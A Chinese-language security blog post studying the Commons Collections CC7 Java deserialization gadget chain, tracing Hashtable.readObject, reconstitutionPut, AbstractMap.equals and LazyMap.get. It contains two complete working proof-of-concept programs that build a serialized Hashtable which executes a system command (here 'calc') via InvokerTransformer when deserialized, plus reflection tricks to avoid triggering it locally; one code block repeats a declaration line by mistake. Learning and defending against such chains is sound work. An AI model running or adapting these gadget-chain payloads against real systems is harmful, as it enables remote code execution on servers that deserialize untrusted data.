java安全-CC7链学习与分析
2022-12-26 14:44:00

0x00、前言

CC7的触发点同CC1一样,采用ChainedTransformer链和LazyMap类,入口点变了,跟前面CC1~6不一样,但逆向思维去分析查找链实在没办法,效果跟正向分析没啥区别了,所以主要以正向分析去学习,还是单独整理出来吧

0x01、Apache Commons Collections描述

引用CC1链分析中的描述
CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。

Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)

0x02、环境准备

java版本:jdk8u66(版本无限制)
Commons Collections:3.2.1(漏洞版本在3.1-3.2.1)
maven项目pom.xml文件中添加依赖

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

在idea访问Commons Collections组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了

0x03、分析

CC7链也利用ChainedTransformer链和LazyMap类作为触发点,入口不一样,目的都是为了调用lazyMap.get()方法

回顾

回顾LazyMap触发点:

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法。
  • lazyMap.get()方法会调用ChainedTransformer.transform()执行链转换器内的Runtime.exec()方法达到命令执行的目的。

CC1~6中使用到LazyMap的链:
CC1(LazyMap链):

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法,随后将LazyMap对象传入AnnotationInvocationHandler代理类。
  • 通过动态代理,在生成二次代理对象时调用对象的invoke方法,其中invoke方法中调用LazyMap.get()方法、get()方法调用ChainedTransformer.transform()方法最后实现InvokerTransformer.transform()执行命令;

CC5:

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法。
  • LazyMap对象传入TiedMapEntry类构造方法,再通过TiedMapEntry.toString()方法去调用TiedMapEntry.getValue()方法,最后调用到lazyMap.get()方法。
  • TiedMapEntry对象通过反射赋值给BadAttributeValueExpException类的val值,通过反序列化BadAttributeValueExpException类对象,调用重写readObject方法中的val.toString()
  • val.toString()调用等效于TiedMapEntry.toString(),即调用TiedMapEntry.getValue()方法,达到调用lazyMap.get()方法触发代码执行。

CC6:

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法。
  • LazyMap对象传入TiedMapEntry类构造方法,再通过TiedMapEntry.hashCode()方法去调用TiedMapEntry.getValue()方法,最后调用到lazyMap.get()方法。
  • 通过使用hashmapput方法添加元素时调用hash(key)方法,进而调用key.hashCode()方法,将TiedMapEntry对象作为keyputhashmap中,达到调用TiedMapEntry.hashCode()的目的(hashSet同理,本质上都是调用hashmap)。

分析

回到lazyMap.get()方法本身上来,CC7使用了Hashtable作为入口,也就是说对Hashtable对象进行序列化,然后在反序列化时触发漏洞

简述Hashtable哈希表:

Hashtable是原始的java.util的一部分, 是一个Dictionary具体的实现 。
然而,Java 2 重构的Hashtable实现了Map接口,因此,Hashtable现在集成到了集合框架中。它和HashMap类很相似,但是它支持同步。
像HashMap一样,Hashtable在哈希表中存储键/值对。当使用一个哈希表,要指定用作键的对象,以及要链接到该键的值。
然后,该键经过哈希处理,所得到的散列码被用作存储在该表中值的索引。

hashmap一样,都是存储键值对<key,value>的散列表。

Hashtable同样重写了序列化和反序列化过程

hashtable反序列化过程


序列化(writeObject)过程,其实查看英文注解就大概知道这个过程了:

private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
//声明一个Entry变量,用来临时存储读取的数据
Entry<Object, Object> entryStack = null;

synchronized (this) {
//默认写入非static和transient的属性
// Write out the length, threshold, loadfactor
s.defaultWriteObject();

//写入table表的长度和元素数量
// Write out length, count of elements
s.writeInt(table.length);
s.writeInt(count);

//依次读取table表中的键值对,写入到entryStack变量中
// Stack copies of the entries in the table
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

//依次读取entryStack变量中数据,将entry里的Key和value写入
// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

序列化过程简单来说就是创建一个Entry类型变量entryStack来读取table中的entry数据,再依次读取entryStack中的entry元素中的keyvalue写入到流中。


反序列化(readObject)过程

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
//读取默认属性
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

//读取原始table长度和元素成员数量
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

//重新计算table的长度
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
//创建计算好长度的table表
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

//读取流中所有元素的key和value
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
//同步将key和value通过reconstitutionPut方法写入到新创建的table表中
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

反序列化过程相对也比较好理解,主要就是从流中读取到原始信息,再重新计算长度去创建一个新table表,并读取流中keyvalue通过reconstitutionPut方法写入到table表中
反序列化过程主要只调用了reconstitutionPut方法,该方法比较关键,再跟进reconstitutionPut方法

reconstitutionPut()

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

同样通过注解也很好理解步骤(主要就是value不允许为Null,然后key值不能重复,元素hash不能相同,也是hashtable的特性)

  • 先判断value值,如果value为空,就抛出序列化异常
  • 计算key的hash,再根据hash和table长度计算出存储索引index,并判断该key的hash或者该key的值是否在表中存在,如果已存在就抛出序列化异常
  • 经过判断没问题后 就将key value写入到Entry中

reconstitutionPut方法中调用了key.hashCode()方法和e.key.equals(key)方法,其中key.hashCode()方法在下面POC延伸中会分析,现在还有e.key.equals(key)方法,在for循环中,判断当前元素的keyhash在表中是否存在,并且会对元素的key对表中元素的key进行equals()匹配查看key是否在表中存在。
跟进e.key.equals(key)方法,其中e.key表示从流中读取的table表中的key,也就是我们put进的key值。
该链通过Hashtable调用Lazymap,那传入的key值肯定就为Lazymap对象。
e.key.equals(key)调用相当于e.Lazymap.equals(key)

满足条件:

  • value不能为空,设置value值就行。
  • 需要index相同且e.hash == hash,也就是在table表中需要有两个元素的hash是相等的,hash相等才能获取到table中的元素,才能去执行e.key.equals(key)这个方法,因此必须put进两个hash相等的元素。

AbstractMapDecorator.equals()

跟进Lazymap.equals()方法,但Lazymap类本身没有equals()方法,实际是调用它的父类AbstractMapDecorator下的equals()方法

其中会判断object对象是否为同一个对象,是的话返回true,如果不是同一个对象,就执行map.equals(object),其中的mapLazymap传参的map,也就是hashmap对象

继续跟进hashmap.equals()方法,同样hashmap本身只有在它的Node子类中存在equals()方法,实际调用的也是父类下的equals()方法

AbstractMap.equals()

public boolean equals(Object o) {
//判断是否是同一个对象
if (o == this)
return true;

//判断该对象是否属于Map类型
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
//判断元素个数是否相同
if (m.size() != size())
return false;

try {
//创建迭代器
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
//依次获取元素
Entry<K,V> e = i.next();
//获取Key和value值
K key = e.getKey();
V value = e.getValue();
//value为空的话执行下面判断体
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//value不为空的话执行下面判断体
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

满足条件:

  • 不能为同一个对象,如果两个元素相同就直接返回true
  • 该对象类型必须为Map类型,不是Map类型的话返回false
  • 对象元素个数必须相同,不同的话返回false

满足以上条件后,由于本身value不能为空(为空就不会进入到这个调用阶段了),因此会执行if (!value.equals(m.get(key)))判断体中的m.get(key)方法,而m对象由传入的Object对象,也就是上面分析传入对比equals()方法中的对象,即Lazymap对象,实际调用Lazymap.get(key),达到代码执行的目的。

POC构造

上面几个关键的方法分析完了,从POC构造继续串联起来分析
首先触发点不变

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

接着就是Lazymap的传值和对hashtable之间的衔接,在上面方法的分析中提到reconstitutionPut()方法中需要满足

  • value不能为空,设置value值就行。
  • 需要index相同且e.hash == hash,也就是在table表中需要有两个元素的hash是相等的,hash相等才能获取到table中的元素,才能去执行e.key.equals(key)这个方法,因此必须put进两个hash相等的元素。

由上满足条件,我们传入两个相同的元素

Map map = new HashMap();
Map map2 = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
Map Lmap2= LazyMap.decorate(map2,transformerChain);
Lmap.put("test",1);
Lmap2.put("test",1);
Hashtable ht=new Hashtable();
ht.put(Lmap,1);
ht.put(Lmap2,1);

但会遇到问题,如果传入两个相同的元素,由于hashtableput操作

其中针对第一个元素put入的时候,此时Table不存在其他元素,此时index指针获取的tablenull,不会进入for循环体,直接进入addEntry()方法中

addEntry()方法将元素添加对应元素hash计算出来的index指针的table中,最后计数+1,表示table中新增了一个元素个数

如果添加两个一模一样的元素,就会导致在第二次put对象时,由于hash相同,计算的index相同,key值相同,进入到put方法的for循环中返回了,自然不会进行addEntry()添加操作,此时table表中元素个数仍为1。

在反序列化获取elements元素个数时,此时也为1,只进行一次reconstitutionPut方法调用。而需要调用第二次reconstitutionPut方法,判断里面的hash相同才能运行到e.key.equals(key)方法。

因此需要我们传入两个元素的hash相同,但是元素key不相同的两组元素

由上满足条件,我们传入两个元素的hash相同,但是元素key不相同的两组元素

Map map = new HashMap();
Map map2 = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
Map Lmap2= LazyMap.decorate(map2,transformerChain);
Lmap.put("yy",1);
Lmap2.put("zZ",1);
Hashtable ht=new Hashtable();
ht.put(Lmap,1);
ht.put(Lmap2,1);

再解决本地触发的问题,由于在第二次put中会进入到循环体中执行e.key.equals(key)方法,会调用到transformerChain.transform()达到执行代码。

规避这个问题还是用老方法,先传入空的转换器进Lazymap对象中,put完值后再通过反射修改转换器。

//创建一个空的链转换器
Transformer[] transformersfake = new Transformer[]{};
//通过链转换器进行循环调用transformers数组
Transformer transformerChainfake = new ChainedTransformer(transformersfake);
Map map = new HashMap();
Map map2 = new HashMap();
Map Lmap= LazyMap.decorate(map,transformerChainfake);
Map Lmap2= LazyMap.decorate(map2,transformerChainfake);
Lmap.put("yy",1);
Lmap2.put("zZ",1);
Hashtable ht=new Hashtable();
ht.put(Lmap,1);
ht.put(Lmap2,1);
//修改触发的转换器
Field field=LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(Lmap2,transformerChain);

由于put第二次的时候e.key.equals(key)中的e.key为第一次元素的Key,目的是拿第二次putkey查看是否跟表中的key是否相等,而参数中的key(第二次put入的key值)为最后调用的m.get()中的m对象,因此只需要修改第二个传入的lazymap对象的factory即可。

还有个点就是由于在put入第二个entry元素时,调用了e.key.equals(key)方法,最后调用到m.get(key)Lazymap.get(key)方法

由于转换器制空后,本地不会触发代码执行,但会进行map.put(key, value);,将第二个元素的key进行put操作,此时Lazymap2又新增了一个keyyy的元素,因此需要删除

Lmap2.remove("yy");

最后将hashtable对象进行序列化,反序列化的时候触发漏洞,得到完整poc:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//创建一个空的链转换器
Transformer[] transformersfake = new Transformer[]{};
//通过链转换器进行循环调用transformers数组
Transformer transformerChainfake = new ChainedTransformer(transformersfake);
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map map2 = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
Map Lmap2= LazyMap.decorate(map2,transformerChainfake);
Lmap.put("yy",1);
Lmap2.put("zZ",1);
Hashtable ht=new Hashtable();
ht.put(Lmap,1);
ht.put(Lmap2,1);
//修改触发的转换器
Field field=LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(Lmap2,transformerChain);
Lmap2.remove("yy");

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc7payload-2.ser"));
outputStream.writeObject(ht);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc7payload-2.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}

CC7-POC延伸

反序列化(readObject)过程中提到的reconstitutionPut方法

在上面反序列化过程reconstitutionPut方法写入entry中发现一个敏感的key.hashCode(),在cc6的学习中就是利用hashmap.put(key,value)调用hash(key)方法最后调用key.hashcode()进行调用达到代码执行。
同样在这里,key值可控,也是通过hashtable对象put入的key值进行hashCode()操作,跟cc6基本没差别,这就不再复分析一遍了。
得到一个延伸的poc
触发点不变

Transformer[] transformers = new Transformer[]{
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

通过lazymap调用触发点

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);

再通过TiedMapEntry类最后调用Lazymap.get()

TiedMapEntry TM=new TiedMapEntry(Lmap,11);

最后使用hashtableput方法添加元素TiedMapEntry对象作为入口,通过反射修改tablekey值去规避本地执行,同样可以通过反射修改链转换器,操作跟cc6分析写Poc的一样,这里就用反射修改key值了。

Hashtable ht=new Hashtable();
ht.put("any",12);
//通过反射获取HashMap表中的table字段属性
Field table = Hashtable.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(ht);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

然后序列化,反序列化触发漏洞,得到完整POC:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
Hashtable ht=new Hashtable();
ht.put("any",12);

//通过反射获取HashMap表中的table字段属性
Field table = Hashtable.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(ht);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc7payload-1.ser"));
outputStream.writeObject(ht);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc7payload-1.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}

执行效果:

0x04、总结

CC7相对于前面几个链,更换了入口,其中多层的equals方法调用,以及中间设置值绕了好一会,细节还是比较多,但理清过后还是比较容易理解,学习中间发现还有另外的延伸,能举一反三才是真正的进步。

0x05、参考链接

https://paper.seebug.org/1242/#commons-collections
java漫谈